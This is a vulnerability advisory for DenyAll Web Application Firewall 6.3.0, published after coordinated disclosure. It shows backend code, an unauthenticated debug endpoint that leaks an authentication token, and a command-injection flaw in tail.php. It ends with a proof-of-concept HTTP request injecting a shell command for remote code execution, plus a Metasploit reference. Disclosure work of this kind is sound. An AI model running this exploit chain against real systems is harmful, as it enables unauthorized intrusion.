DenyAll Web Application Firewall is the foundation for next generation application security products. It combines ease of configuration – with its workflow engine and management APIs – with a proven ability to secure web applications. It embeds negative and positive security, in-context, user behavior analysis, and soon-to-be added rWeb advanced security engines, to efficiently protect your web applications while minimizing false positives.
Advisory Informations
Remotely Exploitable: Yes
Authentication Required: NO
Vulnerable Version: 6.3.0
Technology: NodeJS, Kibana, PHP
Vendor URL: https://www.denyall.com/products/web-application-firewall/
CVSSv3 Score: 10.0 (/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
Date of found: 30 Jun 2017
Technical Details
While reviewing this product, I’ve seen that it’s possible to have this product on AWS Market for 15-day free usage. (https://aws.amazon.com/marketplace/pp/B00FGCUM7S)
So I’ve deployed this product and access to the machine by using SSH key. After several minutes, I’ve seen that administrator interface is written with NodeJS.
First thing that I’ve looked for was about login process.
var login = function login(req,res,next) { log.debug(); if (!req.body) req.body = {}; var data = { login:req.body.username || req.query.username, pass:req.body.password || req.query.password, readOnly:req.body.readOnly || req.query.readOnly || false, forceConnexion:req.body.forceConnexion || req.query.forceConnexion || true, clientIp: req.ip }; // I OMITTED tHE CODE _xmlApiClient.request(opts, function(err, response) { // I OMITTED tHE CODE },res); };
So it seems there is an internal API where NodeJs use for authentication etc. In order to find out internal API, I went after _xmlApiClient
Here is the very interesting function definition from xmlApiClient.js
file.
var xmlApiRequest = function xmlApirequest(opts, callback, res) { // ... CODE OMITTED ... var target = 'https://' + _config.xmlApi.host + ':' + _config.xmlApi.port + '/webservices/index.php?api=' + opts.api + '&function=' + opts.func; // ... CODE OMITTED ... };
We started to getting more promising information about that product. We have PHP api ?. We just need to find out what is the host and port variables which probably comes from configuration file.
"xmlApi": { "host": "127.0.0.1", "port": "3001", "guiVersionFile":"/etc/version.txt", "nodeId": null, "tcpTimeout":1000, "httpTimeout":300000 },
If you look at the following netstat output, you will see an interesting thing. It looks like localhost binded services but actually it’s not..! 3001 port is publicly accessible as well.
~ netstat -tnlp |grep -v '127\|::' Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 172.31.11.218:2222 0.0.0.0:* LISTEN - tcp 0 0 172.31.11.218:22 0.0.0.0:* LISTEN - tcp 0 0 172.31.11.218:3001 0.0.0.0:* LISTEN 3866/actrld tcp 0 0 172.31.11.218:3002 0.0.0.0:* LISTEN -
As you can see TCP Port 3001 is not listening on the localhost.
Abusing PHP Backend
Very interesting code snippet for endpoint located at /webservices/download/index.php
is as follow.
if($_REQUEST['typeOf']!='kdbImages' && $_REQUEST['typeOf']!='debug'){ //validation jeton if(isset($_REQUEST['iToken'])){ if($local->getIToken()!=$_REQUEST['iToken']){ header('HTTP/1.1 403 Forbidden'); exit(-1); } }else{ if(isset($_REQUEST['tokenId'])){ if(!API_validUid($_REQUEST['tokenId'])){ header('HTTP/1.1 403 Forbidden'); exit(-2); } $session = loadClass('sessions'); if($session->searchUid($_REQUEST['tokenId'])===false){ header('HTTP/1.1 403 Forbidden'); exit(-3); }else{ if(!isset($_REQUEST['forceNoRefresh'])){ $session->refreshTimeSession($_REQUEST['tokenId']); $session->save(); } unset($session); } }else{ header('HTTP/1.1 403 Forbidden'); exit(-2); } } }
So if typeOf parameter is NOT kdbImages
and debug
, whole authentication mechanism will be bypassed..! Following code snippet is much more important even it’s not looks like very promising.
case 'debug' : $norealpath=false; $removeSrc=true; $compress=false; $removeDst=false; $autoDownload=true; if(!isset($_REQUEST['applianceUid'])){ debug("download debug sans applianceUid"); exit; } $applianceUid=$_REQUEST['applianceUid']; $src=downloadFile('debugInternal',$applianceUid,'debug.dat'); $dst=$src=realpath($src); $fileNameDownload=basename($src); if(!is_readable($src)) exit; break;
Above code allow us to download debug.dat file which contains one crucial information. Here is the HTTP GET request where you can trigger this flow.
GET /webservices/download/index.php?applianceUid=LOCALUID&typeOf=debug HTTP/1.1 Host: 52.28.216.170:3001 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Content-Type: application/x-www-form-urlencoded Content-Length: 4 RESPONSE HTTP/1.1 200 OK Date: Fri, 30 Jun 2017 17:30:12 GMT Server: Apache Content-disposition: attachment; filename="debug.dat" Expires: 0 Cache-Control: must-revalidate, post-check=0, pre-check=0 Content-Length: 697 Pragma: public Content-Type: application/vnd.nokia.n-gage.data <?xml version="1.0" encoding="UTF-8"?> <response status="-1"> <error code="STACKTRACE"><arg string="1">Internal error</arg></error><line> <datetime>2017-06-30 17:30:12 (UTC)</datetime> <action></action> <function></function> <request>a:3:{s:6:"typeOf";s:13:"debugInternal";s:4:"file";s:9:"debug.dat";s:6:"iToken";s:32:"y760e0299ba6fc1a2739df5a8f64fc5a";}</request> <errornum>2</errornum> <errortype>Alerte</errortype> <errormsg>touch(): Unable to create file /var/tmp/debug/ because Is a directory</errormsg> <scriptname>/var/denyall/www-root/wsSource/class/filesClass.php</scriptname> <scriptlinenum>18</scriptlinenum> <memoryKbUsage>1280</memoryKbUsage> </line> </response>
Crucial information is iToken
. It’s being used across the application for authentication. So leaking this information gives us a tones of abilities.
Command Injection
To be honest, I’ve seen plenty of possible command injection location. One of these location is at /webservices/stream/tail.php
. Following code snippet is taken from beginning of this file.
if(isset($_REQUEST['iToken'])){ if($local->getIToken()!=$_REQUEST['iToken']){ exitPrint(t_("Bad key, authentication on slave streaming server failed")); } }else{ exitPrint(t_("Authentication on slave streaming server failed")); } if(isset($_REQUEST['tag']) && $_REQUEST['tag']!=''){ // on doit chercher le bon fichier if(isset($_REQUEST['stime'])&&$_REQUEST['stime']!=''){ // Start time version tailDateFile(); }else{ // dernier fichier ouvert if($_REQUEST['tag']=='tunnel') $_REQUEST['file']=basename(shell_run("ls -1t ".__RP_LOG__."*/".$_REQUEST['uid']."/*-".$_REQUEST['type'].".log| head -n1 2>/dev/null")); else $_REQUEST['file']=$_REQUEST['uid'].'-'.$_REQUEST['type'].'.log'; } }
As you can see, authentication is placed by iToken value which is already leaked by abusing previous bug. There is one very important function call, which is tailDateFile()
. Here is this function definition.
function tailDateFile(){ global $_REQUEST; $stime=(int)($_REQUEST['stime']/1000); $tag=$_REQUEST['tag']; $uid=$_REQUEST['uid']; $type=$_REQUEST['type']; // access or error chdir(__RP_LOG__); if($tag=='tunnel'){ // reverse proxy $files=shell_run("ls -1 */$uid/*-$type-*.log 2>/dev/null|sort")."\n"; // avec date trié au début $files.=shell_run("ls -1t */$uid/*-$type.log 2>/dev/null"); // courant trié par utilisation }else{ $files=shell_run("ls -1 $uid-$type*-log 2>/dev/null|sort")."\n"; $files.=shell_run("ls -1t $uid-$type.log 2>/dev/null"); } // .. CODE OMITTED .. }
As you can see, we are able to control $uid
parameter and it’s being used as a part of parameter of shell_run()
function. Viola, we have unauthenticated command injection by combining two issue.
PoC
Following HTTP request will trigger the RCE.
GET /webservices/stream/tail.php?iToken=y760e0299ba6fc1a2739df5a8f64fc5a&tag=tunnel&stime=aaa&type=aaa$(sleep%2030") HTTP/1.1 Host: 52.28.216.170:3001 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Cookie: connect.sid=s%3AWGBO5SaeECriIG8z4SMjwilZgl7SM0ej.0hGC0CcXrwnoJLb4YucLi8lbr%2FC8f2TNIicG4EmFLFU Connection: close Upgrade-Insecure-Requests: 1
Metasploit Module
You can find-out metasploit module PR for this vulnerability at followin URL.
https://github.com/rapid7/metasploit-framework/pull/8980
Timeline
30 Jun 2017 21:33 – Vulnerability found
30 Jun 2017 22:37 – CTO of DenyAll get in touch with us.
19 Sep 2017 – New version released. Article public release.